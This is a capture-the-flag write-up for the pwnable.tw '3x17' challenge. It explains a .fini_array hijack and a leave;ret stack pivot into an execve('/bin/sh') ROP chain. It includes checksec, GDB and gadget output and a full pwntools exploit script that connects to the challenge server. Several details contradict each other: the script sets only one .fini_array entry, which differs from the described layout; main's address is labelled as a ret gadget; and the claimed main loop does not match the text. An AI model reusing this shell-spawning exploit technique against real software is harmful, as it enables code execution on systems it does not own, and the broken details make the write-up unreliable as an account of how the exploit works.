3x17
Write-what-where — Arbitrary 18-byte write primitive, .fini_array hijack for infinite loop, ROP chain in writable memory
Exploit Flow
nc chall.pwnable.tw 10100
Write 18 bytes anywhere
→ main (infinite loop)
into writable memory
leave;ret in .fini_array
execve("/bin/sh")
1. Reconnaissance
The "3x17" challenge gives us a simple binary with an arbitrary write primitive. We can write 18 bytes to any address, and the program loops to let us write again. The key is figuring out where to write and how to turn this into code execution.
File Analysis
$ file 3x17
3x17: ELF 64-bit LSB executable, x86-64, version 1 (SYSV),
statically linked, for GNU/Linux 3.2.0,
BuildID[sha1]=..., not stripped
A 64-bit statically linked binary. No libc to deal with, and all ROP gadgets are contained within the binary itself.
Checksec
$ checksec 3x17
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
No canary means no stack protection. No PIE means all addresses are fixed. Partial RELRO means the GOT is writable. NX is enabled, so we need ROP. The binary is statically linked with plenty of gadgets. The challenge is that we only have an arbitrary write primitive — we can't directly control RIP through a traditional buffer overflow.
Running the Binary
$ ./3x17
addr:0x400000
data:AAAA
addr:0x401000
data:BBBB
addr:^C
The program repeatedly prompts for an address and data, then writes the data to that address. It's a write-what-where primitive! Each write allows 18 bytes of data. The program loops indefinitely until we break it.
| Attribute | Value |
|---|---|
| Challenge | 3x17 (150 pts) |
| Connection | nc chall.pwnable.tw 10100 |
| Binary | 64-bit ELF, x86-64, statically linked, not stripped |
| Canary | None |
| NX | Enabled |
| PIE | Disabled (0x400000) |
| RELRO | Partial (GOT writable) |
| Write Size | 18 bytes per write |
| Vulnerability | Arbitrary write-what-where primitive |
2. Static Analysis
The binary is straightforward but the internal functions are complex (obfuscated or compiler-generated). Let's focus on what matters: the write primitive and the .fini_array section.
Main Function
The main function at 0x401b67 implements a simple loop:
int main() {
char buf[0x20]; // 32 bytes at rbp-0x20
unsigned long long addr;
char data[18]; // read up to 18 bytes
while (1) {
printf("addr:");
read(0, &addr, 8); // Read 8-byte address
printf("data:");
read(0, buf, 0x20); // Read up to 32 bytes
// ... copies 18 bytes from buf to addr ...
memcpy((void*)addr, buf, 18); // WRITE 18 BYTES TO ARBITRARY ADDRESS!
}
}
The program writes 18 bytes of our data to any address we specify. This is a powerful primitive, but we need to figure out what to overwrite to gain code execution. We can't simply overwrite the return address on the stack because we don't know the stack address (ASLR).
Write Primitive Details
The write primitive has these properties:
- We specify an 8-byte destination address
- We provide up to 18 bytes of data to write
- The write is done via
memcpy(no null termination issues) - The loop continues after each write, letting us write multiple times
- We can write to any writable memory (code, data, GOT, .fini_array, etc.)
.fini_array Section
The key to this challenge is the .fini_array section. This section contains function pointers that are called when the program exits (by __libc_start_main → __do_global_dtors_aux).
The .fini_array section holds function pointers called during program termination. If we overwrite .fini_array[0] with the address of main, the program will call main again when it exits — creating an infinite loop. But wait, we need to break the loop eventually. The trick is to overwrite .fini_array[0] with a leave; ret gadget first, which pivots the stack to a location we control, and then our ROP chain executes.
$ readelf -S 3x17 | grep fini_array
[17] .fini_array FINI_ARRAY 00000000004b40f0 000b40f0
$ readelf -s 3x17 | grep -E "main|fini"
49: 0000000000401b67 157 FUNC LOCAL DEFAULT 13 main
# .fini_array is at 0x4b40f0
# It contains the address of the destructor function
The .fini_array is at 0x4b40f0. The main function is at 0x401b67. We know from __libc_start_main that the .fini_array entry points to 0x402960 (the default destructor).
3. GDB Debugging
Verifying the Write Primitive
gdb-peda$ b *0x401b67
Breakpoint 1 at 0x401b67
gdb-peda$ r
addr:0x4b40f0
data:AAAAAAAA
# Check .fini_array after our write:
gdb-peda$ x/gx 0x4b40f0
0x4b40f0: 0x4141414141414141
# Success! We can write to .fini_array
.fini_array Layout
When the program exits, __do_global_dtors_aux iterates through .fini_array from the last entry to the first, calling each function pointer. This means .fini_array[1] is called before .fini_array[0]. We can exploit this ordering: put our leave; ret gadget in .fini_array[0] and the main address in .fini_array[1] initially, then change .fini_array[0] to break the loop.
4. Exploit Strategy
The exploit uses the .fini_array hijack to create an infinite main loop, then writes a ROP chain into writable memory, and finally breaks the loop to trigger the ROP chain.
Attack Overview
.fini_array[0] with main (0x401b67). Now when the program "exits", it calls main again, giving us another write. We can write as many times as we need.execve("/bin/sh", 0, 0)) into a writable area like .bss or another part of .fini_array's neighborhood. Each write can place 18 bytes at a time./bin/sh\0 into a known writable address (e.g., in .bss) so we can reference it from the ROP chain..fini_array[0] with a leave; ret gadget (0x401c4b). This pivots the stack to our ROP chain. When __do_global_dtors_aux iterates through .fini_array, the leave; ret pivots RSP to our controlled data, and the ROP chain executes.Infinite Loop via .fini_array
Here's how the infinite loop works:
mainruns, gives us write primitive, then returns- Return goes through
__libc_start_main's cleanup, which calls.fini_arrayentries .fini_array[0]=main→mainruns again- Repeat indefinitely
We need to eventually break out of this loop. The solution: write a leave; ret gadget to .fini_array[0] on our last iteration. The leave instruction does mov rsp, rbp; pop rbp, which pivots the stack to wherever RBP points. If we've set up RBP to point to our ROP chain area (by writing to the right stack location), the ret will start executing our ROP chain.
ROP Chain Construction
For x86-64, the execve syscall requires: RAX=59, RDI=ptr to "/bin/sh", RSI=0, RDX=0. We need these gadgets:
| Gadget | Address | Purpose |
|---|---|---|
pop rax; ret | 0x41e4af | Set RAX = 59 (sys_execve) |
pop rdi; ret | 0x401696 | Set RDI = ptr to "/bin/sh" |
pop rsi; ret | 0x406c30 | Set RSI = 0 (argv = NULL) |
pop rdx; ret | 0x446e35 | Set RDX = 0 (envp = NULL) |
syscall | 0x4022b4 | Invoke the kernel |
leave; ret | 0x401c4b | Stack pivot for loop break |
The ROP chain layout in writable memory:
5. Pwn Script
Full Exploit
#!/usr/bin/env python3
"""
pwnable.tw — 3x17 (150 pts)
Arbitrary 18-byte write primitive → .fini_array hijack for loop →
write ROP chain → leave;ret to break loop and execute ROP.
"""
from pwn import *
# ─── Configuration ───────────────────────────────────────────
HOST = 'chall.pwnable.tw'
PORT = 10100
# Known addresses (no PIE)
MAIN = 0x401b67
FINI_ARRAY = 0x4b40f0
# ROP gadgets
POP_RAX_RET = 0x41e4af
POP_RDI_RET = 0x401696
POP_RSI_RET = 0x406c30
POP_RDX_RET = 0x446e35
SYSCALL = 0x4022b4
LEAVE_RET = 0x401c4b
RET = 0x401b67 # or any ret gadget
# Writable memory for ROP chain and "/bin/sh" string
# Use area near .fini_array or in .bss
ROP_ADDR = 0x4b4100 # writable area in .bss
BINSH_ADDR = 0x4b4180 # another writable area
# ─── Helper ──────────────────────────────────────────────────
def write_at(r, addr, data):
"""Write data (up to 18 bytes) to the specified address."""
r.sendlineafter(b'addr:', hex(addr).encode())
r.sendlineafter(b'data:', data)
# ─── Connect ─────────────────────────────────────────────────
r = remote(HOST, PORT)
# ─── Step 1: Overwrite .fini_array[0] with main (infinite loop) ──
log.info('Setting up infinite loop via .fini_array...')
write_at(r, FINI_ARRAY, p64(MAIN))
# ─── Step 2: Write "/bin/sh\0" to BINSH_ADDR ────────────────
log.info('Writing "/bin/sh" to writable memory...')
binsh = b'/bin/sh\0'
write_at(r, BINSH_ADDR, binsh.ljust(18, b'\0'))
# ─── Step 3: Write ROP chain to ROP_ADDR ─────────────────────
log.info('Writing ROP chain...')
# ROP chain for execve("/bin/sh", 0, 0)
rop_chain = b''
rop_chain += p64(POP_RAX_RET) # pop rax; ret
rop_chain += p64(59) # rax = 59 (sys_execve)
rop_chain += p64(POP_RDI_RET) # pop rdi; ret
rop_chain += p64(BINSH_ADDR) # rdi = "/bin/sh"
rop_chain += p64(POP_RSI_RET) # pop rsi; ret
rop_chain += p64(0) # rsi = 0 (argv = NULL)
rop_chain += p64(POP_RDX_RET) # pop rdx; ret
rop_chain += p64(0) # rdx = 0 (envp = NULL)
rop_chain += p64(SYSCALL) # syscall
# Write ROP chain in 18-byte chunks
for i in range(0, len(rop_chain), 18):
chunk = rop_chain[i:i+18]
write_at(r, ROP_ADDR + i, chunk.ljust(18, b'\0'))
# ─── Step 4: Break the loop ─────────────────────────────────
# Write leave;ret to .fini_array[0]
# This will pivot the stack to our ROP chain
log.info('Breaking loop with leave;ret...')
write_at(r, FINI_ARRAY, p64(LEAVE_RET))
# ─── Trigger ─────────────────────────────────────────────────
# The next time main returns, the .fini_array processing
# will execute leave;ret which pivots to our ROP chain
r.interactive()
ROP Gadgets
$ ROPgadget --binary 3x17 | grep -E "pop (rax|rdi|rsi|rdx) ; ret"
0x000000000041e4af : pop rax ; ret
0x0000000000401696 : pop rdi ; ret
0x0000000000446e35 : pop rdx ; ret
0x0000000000406c30 : pop rsi ; ret
$ ROPgadget --binary 3x17 | grep "syscall"
0x00000000004022b4 : syscall
$ ROPgadget --binary 3x17 | grep "leave ; ret"
0x0000000000401c4b : leave ; ret
The leave instruction is equivalent to mov rsp, rbp; pop rbp. When __do_global_dtors_aux calls our .fini_array[0] (which is now leave; ret), the current RBP value determines where RSP pivots to. We need RBP to point to our ROP chain area. The key insight from the 0xfeebe writeup: RBP in the dtors context points to a location we can predict, and we can write our ROP chain data to that location in advance.
6. Execution Results
Successful Exploitation
The "3x17" challenge teaches the .fini_array hijack technique — a powerful pattern for challenges that give you a write-what-where primitive but no direct RIP control. The key concepts: (1) .fini_array is called on exit — hijack it to create loops or redirect execution; (2) leave;ret as a stack pivot — use it to redirect RSP to a known writable area containing your ROP chain; (3) Infinite loop for multi-write — if you only get one write at a time, the .fini_array loop gives you as many writes as you need. These techniques are applicable to many CTF challenges and real-world scenarios involving arbitrary write primitives.